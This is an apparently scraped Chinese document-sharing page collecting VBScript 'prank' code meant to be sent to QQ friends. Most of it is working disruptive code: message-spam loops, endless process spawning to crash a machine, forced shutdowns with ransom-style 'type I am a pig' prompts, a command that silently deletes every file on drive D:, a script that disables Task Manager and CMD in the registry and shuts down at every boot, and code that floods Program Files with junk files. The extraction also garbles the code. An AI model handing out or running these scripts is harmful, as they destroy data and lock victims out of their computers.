《vbs整人代码大全.doc》由会员分享,可在线阅读,更多相关《vbs整人代码大全.doc(9页珍藏版)》请在得力文库 - 分享文档赚钱的网站上搜索。
1、一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=复制代码代码如下:On Error Resume NextDim wsh,yeset wsh=createobject(wscript.shell)for i=1 to 10wscript.sleep 700wsh.AppActivate(与 xx 聊天中)wsh.sendKeys vwsh.sendKeys iwsh.sendKeys %snextwscript.quitQQ骚扰信息,也可以用在其它程序上。二、我就用这个程序放
2、在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈-domsgbox You are foolish!loop-三、打开无数个器,直到死机-set wsh=createobject(wscript.shell)dowsh.run calcloop-四、直接关机-dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run shutdown -f -s -t 00,0 ,true-五、删除D:所有文件-dim WSHshellset WSHshell = wscript.createobject(wscr
3、ipt.shell)WSHshell.run cmd /c del d:*.* / f /q /s,0 ,true-六、不断弹出窗口-复制代码代码如下:while(1)msgbox 哈哈 你被耍了!loop-七、不断按下alt+f4 (开什么都关闭)-复制代码代码如下:dim WSHshellset WSHshell = wscript.createobject(wscript.shell)while(1)WSHshell.SendKeys %F4loop八、按500次回车(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)复制代码代码如下:
4、dim sdo until s=500s=s+1msgbox 哥们,给我按500次回车吧,64loop- -九、关不掉的窗口复制代码代码如下:WScript.Echo(嘿,谢谢你打开我哦,我等你很久拉!&TSName)WScript.Echo(你是可爱的小朋吗?)WScript.Echo(哈,我想你拉,这你都不知道吗?)WScript.Echo(怎么才来,说是不是不关心我)WScript.Echo(哼,我生气拉,等你这么久,心都凉啦。)WScript.Echo(小强很生气,后果很严重哦。)WScript.Echo(嘿嘿!你也会很惨滴哦)WScript.Echo(是不是想清除我?)WScript
5、.Echo(那你要点上50下哦,不过会给你惊喜滴)WScript.Echo(还剩49下,快点点哦)WScript.Echo(还剩48下,快点,小笨蛋!)WScript.Echo(还剩47下对,就这样快点点!)WScript.Echo(还剩46下。你啊就是笨,要快哦,我先不打扰你工作。)WScript.Echo(还剩45下,记得要快哦!)WScript.Echo(还剩43下)WScript.Echo(还剩42下)WScript.Echo(还剩41下)WScript.Echo(还剩40下)WScript.Echo(还剩39下)WScript.Echo(还剩38下)WScript.Echo(还剩37
6、下)WScript.Echo(还剩36下)WScript.Echo(还剩35下)WScript.Echo(还剩34下)WScript.Echo(还剩33下)WScript.Echo(还剩32下)WScript.Echo(还剩30下)WScript.Echo(还剩29下)WScript.Echo(还剩28下)WScript.Echo(还剩27下)WScript.Echo(还剩26下)WScript.Echo(还剩25下)WScript.Echo(还剩24下)WScript.Echo(还剩23下)WScript.Echo(还剩22下)WScript.Echo(还剩21下)WScript.Echo(
7、还剩20下)WScript.Echo(还剩19下)WScript.Echo(还剩18下)WScript.Echo(还剩17下)WScript.Echo(还剩16下)WScript.Echo(还剩15下)WScript.Echo(还剩14下)WScript.Echo(还剩13下停停!慢点,我有话要说)WScript.Echo(还剩12下,你继续点我就会消失滴)WScript.Echo(还剩11下,以后就看不到我拉。555555)WScript.Echo(还剩10下,你现在可以选择停止!)WScript.Echo(还剩9下。你还点啊,不要我拉?)WScript.Echo(还剩8下,有点伤心拉,干嘛
8、丢弃人家)WScript.Echo(还剩7下。疯了,你有点负意!)WScript.Echo(还剩6下。对。你就点吧,我恨你!)WScript.Echo(还剩5下,不明白,删除我你就好吗?)WScript.Echo(还剩4下!真要删除我?)WScript.Echo(还剩3下。可是我真的很眷恋你。)WScript.Echo(还剩2下。不要这么绝情嘛,人家是爱你的!)WScript.Echo(还剩1下。哼,既然你这么绝情。也别怪我无义!)WScript.Echo(我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo
9、(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)WScript.Echo(想结素我么?那你就再多点一次)两个整人的VBS脚本2009-07-16 18:16录入:7747.Net 责任编辑:7747.Net 564【字体:小
10、 大】测试环境:Windows 2003 系统大家好 我是Vanlisa QQ137841986今天给大家带来两个整人的VBS脚本 希望大家喜欢VBS脚本大家都知道吧 第一个是定时关机的如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法我们来看下这个脚本复制代码代码如下:on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(wscript.shell)WSHshellA.run cmd.exe /c shutd
11、own -r -t 180 -c 说我是猪,不说我是猪就一分钟关机,不信,试下 ,0 ,truedim ado while(a 我是猪)a = inputbox (说我是猪,就不关机,快撒,说 我是猪,说不说,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBoxloopmsgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run cmd.exe /c shutd
12、own -a,0 ,truemsgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈,好乖新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了cmd.exe /c shutdown -r -t 180 -c这里的数字可以修改关机时间 180秒这些文字也可以自设 这个脚本启用cmd 里的关机程序如果不输的的话 可以打开任务管理器 输入shutdown -a 来解除 我们试下 这时定时关机已经没了 但是还有个关不掉的窗口 我们打开任务管理器 结束掉Wscript.exe 这个进程就OK了 这时就完全解除这个脚本了 Wscript 时Windows 脚本宿主-下
13、面看第二个整人的脚本-复制代码代码如下:set ws=createobject(wscript.shell)call shutdown(1)do while a我是猪a=inputbox(快在下面的框框里输入我是猪,否则后果自负,快输我是猪 ,输不输,)loopcall shutdown(2)msgbox 早说就行了嘛,4096+64msgbox再输一遍我是猪!,4096+64msgbox我是猪!,4096+64MsgBox最后一次!,4096+64MsgBox如果你很快的点过去,不看的话,4096+64MsgBox我就要你踩我空间的!哼!,4096+64MsgBox从前有座山!,4096+6
14、4MsgBox山里有个庙.,4096+64MsgBox庙里有个老和尚在讲故事.,4096+64ws.runiexplore.exe msgbox哎呀累了!数绵羊哄我睡觉,4096+64for i=1 to 100MsgBox i&只绵羊,4096+64nextmsgbox哎呀我困了,这次就饶过你吧,下次注意哦!,4096+64msgbox最后问个问题,我是不是大好人!,4096+64if inputbox(是不是,请选择,是)是 thencall shutdown(1)end ifsub shutdown(s)select case scase 1ws.runcmd.exe /c shutdo
15、wn -r -t 60 -c,0case 2ws.runcmd.exe /c shutdown -a,0end selectend sub-ws.runiexplore.exe 这段代码可以改成你自己设定的地址如果别人不输我是猪的话就会一直点下去 点到你设定的数字for i=1 to 100从1到100可以改成 20 其他的数字解除这个VBS脚本的办法就简单了 只是关掉任务管理器里Wscript.exe这个进程就好了BY:2009QQ整人代码复制代码代码如下:set s=createobject(wscript.shell)set bag=getobject(winmgmts:.rootcim
16、v2)set pipe=bag.execquery(select * from win32_process where name=wscript.exe)For Each id in pipeif instr(1,mandLine,wscript.scriptfullname)0 and pipe.count=2 thens.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,0,REG_DWORDs.regwriteHKCUSoftwarePoliciesMicrosoftWindows
17、SystemDisableCMD,0,REG_DWORDid.terminate()elses.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,1,REG_DWORDs.regwriteHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,1,REG_DWORDfor i=1 to 60s.popup系统将在& 60-i &秒后关机.,1,系统提示,4096+48nextSet colOS = GetObject(winmgmts:(
18、Shutdown).ExecQuery(Select * FROM Win32_OperatingSystem)For Each eOs In colOSeOs.Win32Shutdown(2)Nextend ifNextcolor=#FF0000复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式,此代码的威力:1:开机就强制自动关机2:cmd命令打不开3:结束任务不管用4:F8安全模式也不管用呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,PS:不要乱拿软件去整人,发生什么事可不要怪我啊。
19、拍拍手 顶起吧!2:代码如下:on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(wscript.shell)WSHshellA.run cmd.exe /c shutdown -r -t 60 -c 说你是傻B,我是天下第一大傻B不说宝宝,我是天下第一大傻B就一分钟关你机,不信,试试 ,0 ,truedim ado while(a 宝宝,我是天下第一大傻B)a = inputbox (宝宝,我是天下第一大傻B,就不关机,快撒,说 宝宝,我是天下第一大傻B,说不说,不说,8000,7000)msgbox c
20、hr(13) + chr(13) + chr(13) + a,0,MsgBoxloopmsgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛,乖乖dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run cmd.exe /c shutdown -a,0 ,truemsgbox chr(13) + chr(13) + chr(13) + 宝宝是不是又帅啦?这代码是我从朋友那拿来的,大家可以试着玩下、你能做非法事情哦、网页整人效果代码想看效果,只要复制这下面的所有代码保存在t
21、ext文件里,修改文件后缀为txt就能看到效果了。代码如下:网页特效|L不许把鼠标移到这里嘻试吧爽噢。vbs整人代码代码如下:Private Sub Form_Load()Me.HideEnd SubPrivate Sub Timer1_Timer()声明变量,其中“count”为静态变量,以便生成不同的文件Dim files As StringDim nr As StringDim c As StringStatic count As Long定义要把生成的文件存放在那个目录文件下c = C:Program Files生成文件的内容nr = 哈哈,被黑的感觉的不错吧files = FreeFile如果a等于a那么就执行If a = a Thencount不断的加1,以便产生不同的文件名count = count + 1产生文件名及文件句柄,并用count作为产生不同的文件名。Open c & system & count & .dll For Append As #files向文件写内容Write #files, nr清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示Close #filesEnd IfEnd Sub
限制150内